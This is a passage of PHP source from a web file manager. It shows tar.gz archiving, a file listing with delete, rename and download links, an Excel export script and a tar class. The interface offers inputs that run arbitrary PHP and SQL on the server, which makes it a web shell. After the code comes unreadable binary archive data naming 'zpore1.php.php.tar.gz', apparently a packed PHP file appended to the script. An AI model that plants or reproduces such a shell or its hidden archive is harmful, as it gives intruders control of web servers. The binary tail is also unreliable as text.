		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>
PK       ! F'a  'a    zpore1.php.php.tar.gznu [              r"˲ دWd@$T6w!wTI $2k2y1yh}~d#"o\$Z{>=j%29<;` hn6vsAbYd??OX0wH0ñ`V?ojh_^1Ds7fo%2Y	i,1?H&4V(>]^q+m"+M2=w8Cǂ1Y$h<WCu
Jr;Pu}&O[ovʭ9`Te2&Po^ {`(|yC><V蛪//,iEyt$D4<+4+
gõ~
/ܐW|$h!oo*ޡ.Dny"
M^'x"FSV<As%o^^E6H&"oQ%M@PVz;I㶐i8Ue)2xZy22+i({UE~P?;JѴDB}\F[>D7Ņ]+?9PUDީE].v$«.EoS0}gߠLJD4A`ǢD
Q 3c)`eol`2q}`"3X罒t*GE!+7OL6JS\\6Fe4TѲX</zVxf'uE6֥hk<M

yY1.RT
ŝ@C?7F
DXg~dP2:24ENP-X1̄*$}4`8	?D4fD:%x۩mPl90
8?)C#	Ö7$ꏈi?^G17c
_x:)	)0HHY)
n ](Js
4rl}x$**]4jYP	ux[&`)PFA,u˸(:+<z(SRGJWu<@	Rfrp-먐WHo+^_I ^$'먙;{aUeGa^a}<:}qw4W=H%Pxm!c`%+JJMGPJU<ր=Ao<)x;FUs"#RWxIAu`ۂӟPڪ?TG?^$h.x,g<>xN\<va z{Byi(Mk
Ȼv:y%{w9E}k/g||c<w7T59Ev.'/9Neyg?.8mu۹fҝF/.fnZ&\US̆w:zdf|
8BRtyKӬbd9h诂 ɸ.$$B>?;/ 	ތ8Q]uA0eDWC~ġ󪋌P-h AJ(I2M[jfJ;UCU+^ ԯNCq~Cq
7!+!T!
ꫴ0x $V7Lot+U]ɖno'VЄ=5c8f8u7+4wЖiiRit0&eA{I
8FIsWc{t2;L^!mX='2TĈ+0caDA`_wQ)($a>> >lo4xTd_TTOX*6h7vD25٠ʆtwDNȪs0q|i~FA8HIڔWyDQ$H#8c+DD7aKW,
rX(L%U\VKWa`jw%K$4h'"::L#Ck
{PY.#mHyG~?&I@A^ ;4Uvҳ,e"oPX{@|҇ktrVdrk9U)SpTLu	o*x(  0bLLS8.P۫- `,$4:H r{,D;u.~qqVDcfs8G6A}_se@J6b%v\S@ۧz4cX;ȩ.'1,m|cAh>,/-1sNEZ7N$˙Crv#u:@\EE%]}%فTp:_	%}AB+mvj]53Z.j6h<89>b9JJk *P1BL E%I~/_.o_//_QK/˫uh:@!Rs*v.NωZn8 )p,KiF8	[J-"N]}fhqx%s0tx~5+	[VUz`r9yЇ+0g%y	%
xh,HD;fԎMtI$`fhb7Uo$Z6l<[9hK+dRB
j!YaIf>hu"%hOHu9)鐄p'j!0^4cf {
g:̀IeZ
u%42Wm`3	cl
Wk?Я@,#z&F;d5eیw3ɤGe`kxT'&rܵC0)Lf7ˢ0@4A߀7ŭx%rp&N3F]$٠߀6вb4|RЄBIo@Vb,o@K$o$[)ĊUTAzN]p/Hp"y4	?Nn>P4E//qږl9W7Z((jqǻx7sxqFwx7'(jotC/ӲtRg5PRl\mH(7D2
Lh	OTXpCMxui";Fx-<H-PΕ-@A$雐4P,	Ä[dc ʡòÄ?=,;Lz?.]0[c^P5'J^&>	2(TH%|5͸x"~s%'gGپl:d=#qP`?id
CLUڽa8MC[TL:P/6c݂G[cE#:>9@~5m`5ZD<7pwZDE8p*yiMn<gؾc/FJ0Oe^>uwf#ݑ%$/Ph6@iH-x  @$/DBQR> Q HA>X*PqGQVy5xp)lg0S5&/!jgS㴕zsP}XZ'~BHugZwH4It@A5`*%>'`z HO¿j(9ͺp79;~;><[ ?jW7n6Q(Gjs{M`TS&Tc-ZF,q8I$EhNOɤ;4o`$8r8@̇b\<Il\$h1)%-D'^:ڷBI؆1J͓۪3N#m{vE>wxWI֠v,{: ۪D~Ewq}Cpt&-Z7P]ז჌!`[ DTȣ%蓖45C#m9Y=F rhMl̤/uW5,e^	P4gk}@U]~BI2I^Q/-xbޞ21PbO4<<_XH,t:"t*qP"1xRHb
Wx4AC餛?N5G
h>S0nS1%_ЪCIR5֍`H`O(=?ܝ3h-צ%zE^]A=*P]?yz%s7}IgYƢH9}.&_5sޑYy{RMvƋhp&gOL[
